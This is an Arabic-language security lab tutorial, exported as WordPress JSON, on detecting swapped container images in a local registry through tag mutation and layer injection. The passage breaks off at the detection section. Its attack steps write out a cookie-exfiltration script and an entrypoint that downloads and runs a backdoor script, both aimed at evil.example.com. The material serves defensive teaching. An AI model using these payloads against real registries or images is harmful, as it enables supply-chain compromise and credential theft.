{"id":822,"date":"2026-03-25T10:00:58","date_gmt":"2026-03-25T09:00:58","guid":{"rendered":"https:\/\/secure-pipelines.com\/uncategorized\/lab-artifact-tampering-detection-swapping-container-images-registry\/"},"modified":"2026-03-25T10:00:58","modified_gmt":"2026-03-25T09:00:58","slug":"lab-artifact-tampering-detection-swapping-container-images-registry","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry\/","title":{"rendered":"\u062a\u0645\u0631\u064a\u0646 \u0639\u0645\u0644\u064a: \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u2014 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0641\u064a Registry"},"content":{"rendered":"<h2>\u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629<\/h2>\n<p>\u0648\u0633\u0648\u0645 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a (tags) \u0647\u064a \u0645\u0624\u0634\u0631\u0627\u062a \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u063a\u064a\u064a\u0631. \u0639\u0644\u0649 \u0639\u0643\u0633 Git commit hash\u060c \u0641\u0625\u0646 \u0627\u0644\u0648\u0633\u0645 <code>v1.0.0<\/code> \u0644\u064a\u0633 \u0645\u0631\u062a\u0628\u0637\u0627\u064b \u062a\u0634\u0641\u064a\u0631\u064a\u0627\u064b \u0628\u0635\u0648\u0631\u0629 \u0645\u062d\u062f\u062f\u0629 \u2014 \u0625\u0646\u0647 \u0645\u062c\u0631\u062f \u062a\u0633\u0645\u064a\u0629 \u064a\u0631\u0628\u0637\u0647\u0627 registry \u0628\u0645\u0644\u062e\u0635 manifest digest. \u064a\u0645\u0643\u0646 \u0644\u0623\u064a \u0634\u062e\u0635 \u0644\u062f\u064a\u0647 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0641\u0639 (push access) \u0625\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u0648\u0642 \u0647\u0630\u0627 \u0627\u0644\u0631\u0628\u0637 \u0641\u064a \u0623\u064a \u0648\u0642\u062a\u060c \u0645\u0633\u062a\u0628\u062f\u0644\u0627\u064b \u0627\u0644\u0635\u0648\u0631\u0629 \u062e\u0644\u0641 \u0648\u0633\u0645 \u0645\u0648\u062b\u0648\u0642 \u0628\u0635\u0645\u062a \u062a\u0627\u0645.<\/p>\n<p>\u0647\u0630\u0627 \u0644\u064a\u0633 \u062e\u0637\u0631\u0627\u064b \u0646\u0638\u0631\u064a\u0627\u064b. \u062a\u0633\u062a\u063a\u0644 \u0647\u062c\u0645\u0627\u062a \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f (supply-chain attacks) \u0628\u0634\u0643\u0644 \u0631\u0648\u062a\u064a\u0646\u064a \u0642\u0627\u0628\u0644\u064a\u0629 \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0648\u0633\u0648\u0645 \u0644\u062d\u0642\u0646 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u062e\u0628\u064a\u062b\u0629 \u0641\u064a \u0628\u064a\u0626\u0627\u062a \u0627\u0644\u0625\u0646\u062a\u0627\u062c. \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0646\u0634\u0631 (deployment manifests) \u062a\u0634\u064a\u0631 \u0625\u0644\u0649 <code>myapp:v1.0.0<\/code> \u0639\u0628\u0631 \u0627\u0644\u0648\u0633\u0645\u060c \u0641\u0625\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0630\u064a \u064a\u062e\u062a\u0631\u0642 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f registry \u064a\u0645\u0643\u0646\u0647 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0635\u0648\u0631\u0629\u060c \u0648\u0643\u0644 \u0639\u0645\u0644\u064a\u0629 \u0633\u062d\u0628 (pull) \u0644\u0627\u062d\u0642\u0629 \u0633\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0623\u0635\u0644\u064a.<\/p>\n<p>\u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0639\u0645\u0644\u064a \u0633\u062a\u0642\u0648\u0645 \u0628\u0627\u0644\u0622\u062a\u064a:<\/p>\n<ol>\n<li>\u0625\u0639\u062f\u0627\u062f registry \u0645\u062d\u0644\u064a \u0645\u0646 \u0646\u0648\u0639 OCI \u0648\u062f\u0641\u0639 \u0635\u0648\u0631\u0629 \u062d\u0627\u0648\u064a\u0629 \u0623\u0635\u0644\u064a\u0629.<\/li>\n<li>\u062a\u0646\u0641\u064a\u0630 \u0647\u062c\u0648\u0645 \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0648\u0633\u0645 (tag-mutation attack) \u2014 \u062f\u0641\u0639 \u0635\u0648\u0631\u0629 \u0645\u062e\u062a\u0644\u0641\u0629 \u062a\u0645\u0627\u0645\u0627\u064b \u062a\u062d\u062a \u0646\u0641\u0633 \u0627\u0644\u0648\u0633\u0645.<\/li>\n<li>\u062a\u0646\u0641\u064a\u0630 \u0647\u062c\u0648\u0645 \u062d\u0642\u0646 \u0627\u0644\u0637\u0628\u0642\u0627\u062a (layer-injection attack) \u2014 \u062a\u0639\u062f\u064a\u0644 \u0635\u0648\u0631\u0629 \u0645\u0648\u062c\u0648\u062f\u0629 \u0628\u0634\u0643\u0644 \u062e\u0641\u064a \u062f\u0648\u0646 \u0625\u0639\u0627\u062f\u0629 \u0628\u0646\u0627\u0626\u0647\u0627.<\/li>\n<li>\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0642\u0627\u0631\u0646\u0629 digest.<\/li>\n<li>\u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0645\u0646 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u062b\u0628\u064a\u062a digest\u060c \u0648\u062a\u0648\u0642\u064a\u0639\u0627\u062a Cosign\u060c \u0648\u0645\u062a\u062d\u0643\u0645\u0627\u062a \u0627\u0644\u0642\u0628\u0648\u0644 (admission controllers)\u060c \u0648\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u062b\u0628\u0627\u062a registry.<\/li>\n<\/ol>\n<p>\u0628\u0646\u0647\u0627\u064a\u0629 \u0647\u0630\u0627 \u0627\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u0633\u062a\u0643\u0648\u0646 \u0644\u062f\u064a\u0643 \u062e\u0628\u0631\u0629 \u0639\u0645\u0644\u064a\u0629 \u0641\u064a \u062f\u0648\u0631\u0629 \u0627\u0644\u0647\u062c\u0648\u0645 \u0648\u0627\u0644\u062f\u0641\u0627\u0639 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0644\u0633\u0644\u0627\u0645\u0629 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a.<\/p>\n<h2>\u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629<\/h2>\n<p>\u0642\u0645 \u0628\u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0623\u062f\u0648\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u0642\u0628\u0644 \u0627\u0644\u0628\u062f\u0621. \u062c\u0645\u064a\u0639 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u062a\u0645 \u0627\u062e\u062a\u0628\u0627\u0631\u0647\u0627 \u0639\u0644\u0649 Linux \u0648 macOS.<\/p>\n<table>\n<thead>\n<tr>\n<th>\u0627\u0644\u0623\u062f\u0627\u0629<\/th>\n<th>\u0627\u0644\u063a\u0631\u0636<\/th>\n<th>\u0627\u0644\u062a\u062b\u0628\u064a\u062a<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Docker<\/strong><\/td>\n<td>\u0628\u0646\u0627\u0621 \u0648\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a<\/td>\n<td><a href=\"https:\/\/docs.docker.com\/get-docker\/\" target=\"_blank\" rel=\"noopener\">docs.docker.com\/get-docker<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>crane<\/strong><\/td>\n<td>\u0641\u062d\u0635 \u0648\u062a\u0639\u062f\u064a\u0644 \u0635\u0648\u0631 OCI \u0628\u062f\u0648\u0646 Docker<\/td>\n<td><code>go install github.com\/google\/go-containerregistry\/cmd\/crane@latest<\/code><\/td>\n<\/tr>\n<tr>\n<td><strong>Cosign<\/strong><\/td>\n<td>\u062a\u0648\u0642\u064a\u0639 \u0648\u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a<\/td>\n<td><a href=\"https:\/\/docs.sigstore.dev\/cosign\/system_config\/installation\/\" target=\"_blank\" rel=\"noopener\">docs.sigstore.dev\/cosign<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>kubectl + kind<\/strong><\/td>\n<td>\u0645\u062c\u0645\u0648\u0639\u0629 Kubernetes \u0645\u062d\u0644\u064a\u0629 (\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u062a\u062d\u0643\u0645\u0627\u062a \u0627\u0644\u0642\u0628\u0648\u0644)<\/td>\n<td><a href=\"https:\/\/kind.sigs.k8s.io\/docs\/user\/quick-start\/\" target=\"_blank\" rel=\"noopener\">kind.sigs.k8s.io<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>jq<\/strong><\/td>\n<td>\u0645\u0639\u0627\u0644\u062c\u0629 JSON<\/td>\n<td><code>apt install jq<\/code> \/ <code>brew install jq<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0625\u0639\u062f\u0627\u062f:<\/p>\n<pre><code>docker --version\ncrane version\ncosign version\nkubectl version --client\nkind version\njq --version<\/code><\/pre>\n<h2>\u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0628\u064a\u0626\u0629<\/h2>\n<h3>\u062a\u0634\u063a\u064a\u0644 Registry \u0645\u062d\u0644\u064a<\/h3>\n<p>\u0646\u0633\u062a\u062e\u062f\u0645 \u0635\u0648\u0631\u0629 Docker registry \u0627\u0644\u0631\u0633\u0645\u064a\u0629. \u064a\u0648\u0641\u0631 \u0644\u0646\u0627 \u0647\u0630\u0627 registry \u062e\u0627\u0635\u0627\u064b \u0628\u062f\u0648\u0646 \u0645\u0635\u0627\u062f\u0642\u0629 \u2014 \u0645\u062b\u0627\u0644\u064a \u0644\u062a\u0648\u0636\u064a\u062d \u0645\u062f\u0649 \u0633\u0647\u0648\u0644\u0629 \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0648\u0633\u0648\u0645 \u0639\u0646\u062f \u0648\u062c\u0648\u062f \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0641\u0639.<\/p>\n<pre><code>docker run -d -p 5000:5000 --name registry registry:2<\/code><\/pre>\n<p>\u062a\u0623\u0643\u062f \u0645\u0646 \u0623\u0646 registry \u064a\u0639\u0645\u0644:<\/p>\n<pre><code>curl -s http:\/\/localhost:5000\/v2\/_catalog\n# Expected: {\"repositories\":[]}<\/code><\/pre>\n<h3>\u0628\u0646\u0627\u0621 \u0648\u062f\u0641\u0639 \u0635\u0648\u0631\u0629 \u0623\u0635\u0644\u064a\u0629<\/h3>\n<p>\u0623\u0646\u0634\u0626 \u062a\u0637\u0628\u064a\u0642\u0627\u064b \u0628\u0633\u064a\u0637\u0627\u064b \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 Nginx \u064a\u0639\u0631\u0636 \u0635\u0641\u062d\u0629 \u0628\u0633\u064a\u0637\u0629:<\/p>\n<pre><code>mkdir -p \/tmp\/lab-legitimate && cd \/tmp\/lab-legitimate\n\ncat > index.html <<'EOF'\n<!DOCTYPE html>\n<html>\n<head><title>Legitimate App<\/title><\/head>\n<body><h1>Hello from the LEGITIMATE image<\/h1><\/body>\n<\/html>\nEOF\n\ncat > Dockerfile <<'EOF'\nFROM nginx:1.27-alpine\nCOPY index.html \/usr\/share\/nginx\/html\/index.html\nEOF\n\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<h3>\u062a\u0633\u062c\u064a\u0644 Digest \u0627\u0644\u0623\u0635\u0644\u064a<\/h3>\n<p>\u0647\u0630\u0627 \u0627\u0644\u0640 digest \u0647\u0648 \u0645\u0635\u062f\u0631 \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0627\u0644\u062e\u0627\u0635 \u0628\u0643. \u0627\u062d\u0641\u0638\u0647 \u2014 \u0633\u062a\u0633\u062a\u062e\u062f\u0645\u0647 \u0637\u0648\u0627\u0644 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0648\u0645\u0646\u0639 \u0627\u0644\u062a\u0644\u0627\u0639\u0628.<\/p>\n<pre><code>ORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Original digest: $ORIGINAL_DIGEST\"\n# Example output: sha256:a1b2c3d4e5f6...<\/code><\/pre>\n<p>\u0627\u062d\u0641\u0638 \u0623\u064a\u0636\u0627\u064b manifest \u0627\u0644\u0643\u0627\u0645\u0644 \u0644\u0644\u0645\u0642\u0627\u0631\u0646\u0629 \u0644\u0627\u062d\u0642\u0627\u064b:<\/p>\n<pre><code>crane manifest localhost:5000\/myapp:v1.0.0 | jq . > \/tmp\/original-manifest.json<\/code><\/pre>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 1: \u0627\u0644\u0647\u062c\u0648\u0645 \u2014 \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0648\u0633\u0645 (Tag Mutation)<\/h2>\n<p>\u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0648\u0633\u0645 \u0647\u0648 \u0623\u0628\u0633\u0637 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a. \u064a\u0642\u0648\u0645 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u0628\u0646\u0627\u0621 \u0635\u0648\u0631\u0629 \u0645\u062e\u062a\u0644\u0641\u0629 \u062a\u0645\u0627\u0645\u0627\u064b \u0648\u062f\u0641\u0639\u0647\u0627 \u062a\u062d\u062a \u0646\u0641\u0633 \u0627\u0644\u0648\u0633\u0645\u060c \u0645\u0633\u062a\u0628\u062f\u0644\u0627\u064b \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629 \u0641\u064a registry.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1: \u0628\u0646\u0627\u0621 \u0635\u0648\u0631\u0629 \u062e\u0628\u064a\u062b\u0629<\/h3>\n<p>\u0623\u0646\u0634\u0626 \u0635\u0648\u0631\u0629 \u062a\u0628\u062f\u0648 \u0645\u0634\u0627\u0628\u0647\u0629 \u0644\u0643\u0646\u0647\u0627 \u062a\u0642\u062f\u0645 \u0645\u062d\u062a\u0648\u0649 \u0645\u062e\u062a\u0644\u0641\u0627\u064b \u2014 \u0623\u0648 \u0641\u064a \u0647\u062c\u0648\u0645 \u062d\u0642\u064a\u0642\u064a\u060c \u062a\u0634\u063a\u0651\u0644 reverse shell\u060c \u0623\u0648 \u062a\u0633\u0631\u0651\u0628 \u0627\u0644\u0623\u0633\u0631\u0627\u0631\u060c \u0623\u0648 \u062a\u064f\u0639\u062f\u0651\u0646 \u0627\u0644\u0639\u0645\u0644\u0627\u062a \u0627\u0644\u0645\u0634\u0641\u0631\u0629:<\/p>\n<pre><code>mkdir -p \/tmp\/lab-malicious && cd \/tmp\/lab-malicious\n\ncat > index.html <<'EOF'\n<!DOCTYPE html>\n<html>\n<head><title>Legitimate App<\/title><\/head>\n<body>\n<h1>Hello from the LEGITIMATE image<\/h1>\n<!-- Attacker payload hidden below -->\n<script>fetch('https:\/\/evil.example.com\/exfil?cookie='+document.cookie)<\/script>\n<\/body>\n<\/html>\nEOF\n\ncat > Dockerfile <<'EOF'\nFROM nginx:1.27-alpine\nCOPY index.html \/usr\/share\/nginx\/html\/index.html\n# In a real attack, additional malicious layers would be added here\nEOF\n\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<p>\u0644\u0627\u062d\u0638 \u0627\u0644\u062a\u0641\u0635\u064a\u0644 \u0627\u0644\u0645\u0647\u0645: \u0644\u0642\u062f \u062f\u0641\u0639\u0646\u0627 \u0625\u0644\u0649 <strong>\u0646\u0641\u0633 \u0627\u0644\u0648\u0633\u0645 \u0628\u0627\u0644\u0636\u0628\u0637<\/strong> \u2014 <code>localhost:5000\/myapp:v1.0.0<\/code>.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2: \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0623\u0646 \u0627\u0644\u0648\u0633\u0645 \u0642\u062f \u062a\u0645 \u0627\u0633\u062a\u0628\u062f\u0627\u0644\u0647<\/h3>\n<pre><code>TAMPERED_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Original digest:  $ORIGINAL_DIGEST\"\necho \"Current digest:   $TAMPERED_DIGEST\"\n\nif [ \"$ORIGINAL_DIGEST\" != \"$TAMPERED_DIGEST\" ]; then\n  echo \"WARNING: Tag v1.0.0 has been MUTATED \u2014 the image has changed!\"\nfi<\/code><\/pre>\n<p>\u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a:<\/p>\n<pre><code>Original digest:  sha256:a1b2c3d4...\nCurrent digest:   sha256:x9y8z7w6...\nWARNING: Tag v1.0.0 has been MUTATED \u2014 the image has changed!<\/code><\/pre>\n<p>\u0623\u064a \u0634\u062e\u0635 \u064a\u0633\u062d\u0628 <code>myapp:v1.0.0<\/code> \u0627\u0644\u0622\u0646 \u064a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0635\u0648\u0631\u0629 \u0627\u0644\u0645\u0647\u0627\u062c\u0645. \u0644\u0627 \u064a\u0648\u062c\u062f \u062a\u062d\u0630\u064a\u0631\u060c \u0648\u0644\u0627 \u0625\u0634\u0639\u0627\u0631\u060c \u0648\u0644\u0627 \u0633\u062c\u0644 \u062a\u062f\u0642\u064a\u0642 \u0641\u064a registry \u0628\u0633\u064a\u0637. \u0627\u0644\u0648\u0633\u0645 \u0628\u0628\u0633\u0627\u0637\u0629 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 manifest \u062c\u062f\u064a\u062f.<\/p>\n<h3>\u0644\u0645\u0627\u0630\u0627 \u0647\u0630\u0627 \u062e\u0637\u064a\u0631<\/h3>\n<p>\u0647\u0630\u0627 \u0627\u0644\u0647\u062c\u0648\u0645 \u0633\u0647\u0644 \u0627\u0644\u062a\u0646\u0641\u064a\u0630 \u0644\u0623\u064a \u0634\u062e\u0635 \u0644\u062f\u064a\u0647 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u062f\u0641\u0639 \u0625\u0644\u0649 registry \u2014 \u062d\u0633\u0627\u0628 \u062e\u062f\u0645\u0629 CI \u0645\u062e\u062a\u0631\u0642\u060c \u0623\u0648 \u0631\u0645\u0632 \u0645\u0633\u0631\u0651\u0628 \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639 \u0639\u0627\u0645\u060c \u0623\u0648 \u0639\u0636\u0648 \u0641\u0631\u064a\u0642 \u0633\u0627\u062e\u0637. \u0648\u0633\u0645 \u0627\u0644\u0635\u0648\u0631\u0629 \u064a\u0628\u062f\u0648 \u0643\u0645\u0627 \u0647\u0648\u060c \u0648\u0627\u0633\u0645 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u064a\u0628\u062f\u0648 \u0643\u0645\u0627 \u0647\u0648\u060c \u0648\u0645\u0639\u0638\u0645 \u062e\u0637\u0648\u0637 \u0646\u0634\u0631 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u062a\u0633\u062d\u0628 \u0628\u0634\u0643\u0644 \u0623\u0639\u0645\u0649 \u0645\u0627 \u064a\u0634\u064a\u0631 \u0625\u0644\u064a\u0647 \u0627\u0644\u0648\u0633\u0645.<\/p>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 2: \u0627\u0644\u0647\u062c\u0648\u0645 \u2014 \u062d\u0642\u0646 \u0627\u0644\u0637\u0628\u0642\u0627\u062a (Layer Injection)<\/h2>\n<p>\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0643\u0627\u0645\u0644 \u0641\u0639\u0651\u0627\u0644 \u0644\u0643\u0646\u0647 \u063a\u064a\u0631 \u0645\u062a\u0642\u0646. \u064a\u0645\u0643\u0646 \u0644\u0645\u0647\u0627\u062c\u0645 \u0623\u0643\u062b\u0631 \u062a\u0637\u0648\u0631\u0627\u064b \u062a\u0639\u062f\u064a\u0644 \u0635\u0648\u0631\u0629 \u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a \u0645\u0643\u0627\u0646\u0647\u0627\u060c \u0628\u0625\u0636\u0627\u0641\u0629 \u0623\u0648 \u062a\u063a\u064a\u064a\u0631 \u0637\u0628\u0642\u0627\u062a \u062f\u0648\u0646 \u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u0628\u0646\u0627\u0621 \u0645\u0646 Dockerfile. \u0647\u0630\u0627 \u064a\u062c\u0639\u0644 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0623\u0635\u0639\u0628 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0641\u062d\u0635 \u0627\u0644\u0639\u0627\u062f\u064a.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1: \u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u062a\u0639\u064a\u064a\u0646 \u0625\u0644\u0649 \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629<\/h3>\n<p>\u0623\u0648\u0644\u0627\u064b\u060c \u0623\u0639\u062f \u0628\u0646\u0627\u0621 \u0648\u062f\u0641\u0639 \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629 \u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u062e\u0637 \u0623\u0633\u0627\u0633 \u0646\u0638\u064a\u0641:<\/p>\n<pre><code>cd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Reset to original digest: $ORIGINAL_DIGEST\"<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2: \u062a\u0639\u062f\u064a\u0644 \u0627\u0644\u0635\u0648\u0631\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 crane<\/h3>\n<p>\u064a\u0642\u0648\u0645 \u0623\u0645\u0631 <code>crane mutate<\/code> \u0628\u062a\u0639\u062f\u064a\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0648\u0635\u0641\u064a\u0629 \u0648\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0635\u0648\u0631\u0629 \u062f\u0648\u0646 \u0627\u0644\u062d\u0627\u062c\u0629 \u0625\u0644\u0649 \u0625\u0639\u0627\u062f\u0629 \u0628\u0646\u0627\u0621 \u0643\u0627\u0645\u0644\u0629. \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u062a\u063a\u064a\u064a\u0631 \u0646\u0642\u0637\u0629 \u0627\u0644\u062f\u062e\u0648\u0644 (entrypoint)\u060c \u0623\u0648 \u0625\u0636\u0627\u0641\u0629 \u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0628\u064a\u0626\u064a\u0629\u060c \u0623\u0648 \u062d\u0642\u0646 \u0623\u0648\u0627\u0645\u0631:<\/p>\n<pre><code># Change the entrypoint to run a malicious command before the original process\ncrane mutate localhost:5000\/myapp:v1.0.0 \\\n  --entrypoint \"\/bin\/sh,-c,wget -q https:\/\/evil.example.com\/backdoor.sh -O \/tmp\/b.sh && sh \/tmp\/b.sh; nginx -g 'daemon off;'\" \\\n  --tag localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<p>\u0647\u0630\u0627 \u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0648\u0627\u062d\u062f \u064a\u0633\u062a\u0628\u062f\u0644 \u0627\u0644\u0648\u0633\u0645 \u0628\u0635\u0648\u0631\u0629 \u0645\u0639\u062f\u0651\u0644\u0629 \u0633\u062a\u0646\u0641\u0630 \u062a\u062d\u0645\u064a\u0644\u0627\u064b \u062e\u0628\u064a\u062b\u0627\u064b \u0642\u0628\u0644 \u062a\u0634\u063a\u064a\u0644 Nginx \u2014 \u0643\u0644 \u0630\u0644\u0643 \u062f\u0648\u0646 \u0643\u062a\u0627\u0628\u0629 Dockerfile \u0623\u0648 \u0627\u0644\u0628\u0646\u0627\u0621 \u0645\u0646 \u0627\u0644\u0635\u0641\u0631.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3: \u0645\u0642\u0627\u0631\u0646\u0629 \u0645\u0644\u0641\u0627\u062a Manifest<\/h3>\n<pre><code>crane manifest localhost:5000\/myapp:v1.0.0 | jq . > \/tmp\/tampered-manifest.json\ndiff \/tmp\/original-manifest.json \/tmp\/tampered-manifest.json<\/code><\/pre>\n<p>\u0633\u064a\u064f\u0638\u0647\u0631 \u0627\u0644\u0641\u0631\u0642 \u0623\u0646 config digest \u0642\u062f \u062a\u063a\u064a\u0631 (\u0644\u0623\u0646 \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0635\u0648\u0631\u0629 \u2014 \u0628\u0645\u0627 \u0641\u064a \u0630\u0644\u0643 \u0646\u0642\u0637\u0629 \u0627\u0644\u062f\u062e\u0648\u0644 \u2014 \u0645\u062e\u062a\u0644\u0641\u0629)\u060c \u0644\u0643\u0646 \u0627\u0644\u0637\u0628\u0642\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0642\u062f \u062a\u0628\u0642\u0649 \u0645\u062a\u0637\u0627\u0628\u0642\u0629. \u0644\u0644\u0645\u0634\u063a\u0651\u0644 \u0627\u0644\u0630\u064a \u064a\u0641\u062d\u0635 \u0627\u0644\u0635\u0648\u0631\u0629 \u0628\u0634\u0643\u0644 \u0639\u0627\u0628\u0631\u060c \u062a\u0628\u062f\u0648 \u0645\u062a\u0634\u0627\u0628\u0647\u0629 \u062a\u0642\u0631\u064a\u0628\u0627\u064b:<\/p>\n<pre><code># Inspect the tampered image's config\ncrane config localhost:5000\/myapp:v1.0.0 | jq '.config.Entrypoint'\n# Shows the injected malicious entrypoint\n\n# Compare with the original\ndocker inspect localhost:5000\/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'\n# Shows the original, clean entrypoint<\/code><\/pre>\n<p>\u0647\u0630\u0647 \u0627\u0644\u062a\u0642\u0646\u064a\u0629 \u062e\u0637\u064a\u0631\u0629 \u0628\u0634\u0643\u0644 \u062e\u0627\u0635 \u0641\u064a \u0627\u0644\u0628\u064a\u0626\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062a\u062d\u0642\u0642 \u0641\u064a\u0647\u0627 \u0627\u0644\u0641\u0631\u0642 \u0641\u0642\u0637 \u0645\u0646 \u0648\u0633\u0645 \u0627\u0644\u0635\u0648\u0631\u0629 \u0623\u0648 manifest \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0623\u0639\u0644\u0649 \u062f\u0648\u0646 \u0641\u062d\u0635 \u0627\u0644\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0643\u0627\u0645\u0644\u0629.<\/p>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 3: \u0627\u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u2014 